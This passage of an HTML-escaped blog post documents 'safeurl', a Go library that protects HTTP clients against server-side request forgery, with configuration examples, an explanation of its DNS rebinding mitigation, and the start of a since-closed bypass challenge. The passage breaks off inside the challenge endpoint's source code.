        &lt;span class=&quot;n&quot;&gt;fmt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Errorf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;request return error: %v&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;c&quot;&gt;// read response body&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The minimal library configuration looks something like:&lt;/p&gt;
&lt;div class=&quot;language-go highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;config&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GetConfigBuilder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Build&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Using this configuration you get:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;allowed traffic only for ports 80 and 443&lt;/li&gt;
  &lt;li&gt;allowed traffic which uses HTTP or HTTPS protocols&lt;/li&gt;
  &lt;li&gt;blocked traffic to private IP addresses&lt;/li&gt;
  &lt;li&gt;blocked IPv6 traffic to any address&lt;/li&gt;
  &lt;li&gt;mitigation for DNS rebinding attacks&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;configuration&quot;&gt;Configuration&lt;/h2&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;safeurl.Config&lt;/code&gt; is used to customize the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;safeurl.Client&lt;/code&gt;. The configuration can be used to set the following:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;AllowedPorts            - list of ports the application can connect to
AllowedSchemes          - list of schemas the application can use
AllowedHosts            - list of hosts the application is allowed to communicate with
BlockedIPs              - list of IP addresses the application is not allowed to connect to
AllowedIPs              - list of IP addresses the application is allowed to connect to
AllowedCIDR             - list of CIDR range the application is allowed to connect to
BlockedCIDR             - list of CIDR range the application is not allowed to connect to
IsIPv6Enabled           - specifies whether communication through IPv6 is enabled
AllowSendingCredentials - specifies whether HTTP credentials should be sent
IsDebugLoggingEnabled   - enables debug logs
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Being a wrapper around Go’s native &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;net/http.Client&lt;/code&gt;, the library allows you to configure others standard settings as well, such as HTTP redirects, cookie jar settings and request timeouts. Please refer to the &lt;a href=&quot;https://pkg.go.dev/net/http#Client&quot;&gt;official docs&lt;/a&gt; for more information on the suggested configuration for production environments.&lt;/p&gt;

&lt;h2 id=&quot;configuration-examples&quot;&gt;Configuration examples&lt;/h2&gt;

&lt;p&gt;To showcase how versatile &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;safeurl.Client&lt;/code&gt; is, let us show you a few configuration examples.&lt;/p&gt;

&lt;p&gt;It is possible to allow only a single &lt;strong&gt;schema&lt;/strong&gt;:&lt;/p&gt;
&lt;div class=&quot;language-go highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;GetConfigBuilder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;SetAllowedSchemes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;Build&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Or configure one or more allowed &lt;strong&gt;ports&lt;/strong&gt;:&lt;/p&gt;
&lt;div class=&quot;language-go highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;// This enables only port 8080. All others are blocked (80, 443 are blocked too)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;GetConfigBuilder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;SetAllowedPorts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;8080&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;Build&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;// This enables only port 8080, 443, 80&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;GetConfigBuilder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;SetAllowedPorts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;8080&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;443&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; 
    &lt;span class=&quot;n&quot;&gt;Build&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;// **Incorrect.** This configuration will allow traffic to the last allowed port (443), and overwrite any that was set before&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;GetConfigBuilder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;SetAllowedPorts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;8080&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;SetAllowedPorts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;SetAllowedPorts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;443&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;Build&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This configuration allows traffic to only one host, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;example.com&lt;/code&gt; in this case:&lt;/p&gt;
&lt;div class=&quot;language-go highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;GetConfigBuilder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;SetAllowedHosts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;example.com&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;Build&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Additionally, you can block specific IPs (IPv4 or IPv6):&lt;/p&gt;
&lt;div class=&quot;language-go highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;GetConfigBuilder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;SetBlockedIPs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;1.2.3.4&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;Build&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Note that with the previous configuration, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;safeurl.Client&lt;/code&gt; will block the IP 1.2.3.4 in addition to all IPs belonging to internal, private or reserved networks.&lt;/p&gt;

&lt;p&gt;If you wish to allow traffic to an IP address, which the client blocks by default, you can use the following configuration:&lt;/p&gt;
&lt;div class=&quot;language-go highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;GetConfigBuilder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;SetAllowedIPs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;10.10.100.101&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;Build&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It’s also possible to allow or block full CIDR ranges instead of single IPs:&lt;/p&gt;
&lt;div class=&quot;language-go highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;GetConfigBuilder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;EnableIPv6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;SetBlockedIPsCIDR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;34.210.62.0/25&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;216.239.34.0/25&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;2001:4860:4860::8888/32&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;Build&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;dns-rebinding-mitigation&quot;&gt;DNS Rebinding mitigation&lt;/h2&gt;

&lt;p&gt;DNS rebinding attacks are possible due to a mismatch in the DNS responses between two (or more) consecutive HTTP requests. This vulnerability is a typical TOCTOU problem. At the time-of-check (TOC), the IP points to an allowed destination. However, at the time-of-use (TOU), it will point to a completely different IP address.&lt;/p&gt;

&lt;p&gt;DNS rebinding protection in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;safeurl&lt;/code&gt; is accomplished by performing the allow/block list validations on the actual IP address which will be used to make the HTTP request. This is achieved by utilizing Go’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;net/dialer&lt;/code&gt; package and the provided &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Control&lt;/code&gt; hook. As stated in the official documentation:&lt;/p&gt;
&lt;div class=&quot;language-go highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;// If Control is not nil, it is called after creating the network&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;// connection but before actually dialing.&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;Control&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;func&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;network&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;address&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;syscall&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;RawConn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;error&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;safeurl&lt;/code&gt; implementation, the IPs validation happens &lt;em&gt;inside&lt;/em&gt; the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Control&lt;/code&gt; hook. The following snippet shows some of the checks being performed. If all of them pass, the HTTP dial occurs. In case a check fails, the HTTP request is dropped.&lt;/p&gt;
&lt;div class=&quot;language-go highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buildRunFunc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;wc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;WrappedClient&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;func&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;network&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;address&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;syscall&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;RawConn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;error&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;func&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;network&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;address&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;syscall&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;RawConn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;error&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;c&quot;&gt;// [...]&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;wc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;config&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;AllowedIPs&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;nil&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;isIPBlocked&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;wc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;config&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;BlockedIPs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;wc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fmt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Sprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ip: %v found in blocklist&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;AllowedIPError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ip&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ip&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()}&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;isIPAllowed&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;wc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;config&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;AllowedIPs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;isIPBlocked&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;wc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;config&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;BlockedIPs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;wc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fmt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Sprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ip: %v not found in allowlist&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;AllowedIPError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ip&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ip&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()}&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;nil&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;help-us-make-safeurl-better-and-safer&quot;&gt;Help Us Make &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;safeurl&lt;/code&gt; Better (and Safer)&lt;/h1&gt;

&lt;p&gt;We’ve performed extensive testing during the library development. However, we would love to have others pick at our implementation.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;“Given enough eyes, all bugs are shallow”. Hopefully.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Connect to &lt;a href=&quot;http://164.92.85.153/&quot;&gt;http://164.92.85.153/&lt;/a&gt; and attempt to catch the flag hosted on this internal (and unauthorized) URL: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://164.92.85.153/flag&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The challenge was shut down on 01/13/2023.&lt;/strong&gt; You can always run the challenge locally, by using the code snippet below.&lt;/p&gt;

&lt;p&gt;This is the source code of the challenge endpoint, with the specific &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;safeurl&lt;/code&gt; configuration:&lt;/p&gt;

&lt;div class=&quot;language-golang highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;cfg&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;safeurl&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetConfigBuilder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;SetBlockedIPs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;164.92.85.153&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;SetAllowedPorts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;443&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;Build&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;safeurl&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cfg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;router&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Default&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;router&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/webhook&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;func&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;context&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;gin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Context&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
